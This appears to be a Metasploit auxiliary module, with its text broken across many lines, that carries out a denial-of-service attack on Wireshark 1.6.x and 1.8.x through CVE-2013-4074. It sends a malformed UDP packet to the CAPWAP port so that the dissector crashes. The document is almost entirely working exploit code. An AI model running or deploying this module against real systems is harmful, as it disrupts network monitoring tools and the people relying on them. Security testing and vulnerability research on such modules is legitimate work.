require
'msf/core'
class
Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Dos
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'Wireshark CAPWAP Dissector DoS'
,
'Description'
=> %q{
This
module
inject a malicious udp packet to crash Wireshark
1
.
8
.
0
to
1
.
8
.
7
and
1
.
6
.
0
to
1
.
6
.
15
. The vulnerability exists
in
the capwap dissector which fails to handle an
incomplete packet.
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'Laurent Butti'
,
'j0sm1'
],
'References'
=>
[
[
'CVE'
,
'2013-4074'
],
[
'OSVDB'
,
'94091'
],
[
'BID'
,
'60500'
]
],
'DisclosureDate'
=>
'Apr 28 2014'
))
register_options([ Opt::
RPORT
(
5247
) ],
self
.
class
)
end
def
run
connect_udp
print_status(
"#{rhost}:#{rport} - Trying to crash wireshark capwap dissector ..."
)
buf = Rex::Text.rand_text(
3
) +
"\x90"
+ Rex::Text.rand_text(
15
)
udp_sock.put(buf)
disconnect_udp
end
end